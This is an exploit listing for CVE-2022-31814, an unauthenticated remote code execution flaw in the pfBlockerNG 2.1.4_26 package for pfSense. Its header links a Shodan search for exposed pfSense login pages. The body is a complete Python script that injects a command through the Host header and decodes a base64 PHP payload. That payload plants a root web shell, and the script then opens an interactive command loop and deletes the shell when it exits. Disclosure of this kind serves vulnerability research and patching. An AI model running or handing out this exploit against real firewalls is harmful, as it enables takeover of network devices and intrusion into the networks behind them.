pfBlockerNG 2.1.4_26 – (RCE) Remote Code Execution

A Remote Code Execution Vulnerability was discovered in pfBlockerNG 2.1.4_26 by Security Researcher(s) @IHTeam

# Exploit Title: pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)
# Shodan Results: http[s]://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22
# Date: 5th of September 2022
# Exploit Author: IHTeam
# Vendor Homepage: http[s]://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
# Software Link: https][://github.com/pfsense/FreeBSD-ports/pull/1169
# Version: 2.1.4_26
# Tested on: pfSense 2.6.0
# CVE : CVE-2022-31814
# Original Advisory: http[s]://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
 
#!/usr/bin/env python3
import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
 
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 
parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE")
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/")
args = parser.parse_args()
 
url = args.url
shell_filename = "system_advanced_control.php"
 
def check_endpoint(url):
	response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)
	if response.status_code == 200:
		print("[+] pfBlockerNG is installed")
	else:
		print("\n[-] pfBlockerNG not installed")
		sys.exit()
 
def upload_shell(url, shell_filename):
	payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
	print("[/] Uploading shell...")
	response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)
	time.sleep(2)
	response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)
	if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):
		print("[+] Upload succeeded")
	else:
		print("\n[-] Error uploading shell. Probably patched ", response.content)
		sys.exit()
 
def interactive_shell(url, shell_filename, cmd):
	response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)
	print(str(response.text)+"\n")
 
 
def delete_shell(url, shell_filename):
	delcmd = "rm /usr/local/www/system_advanced_control.php"
	response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)
	print("\n[+] Shell deleted")
 
check_endpoint(url)
upload_shell(url, shell_filename)
try:
	while True:
		cmd = input("# ")
		interactive_shell(url, shell_filename, cmd)
except:
	delete_shell(url, shell_filename)
            

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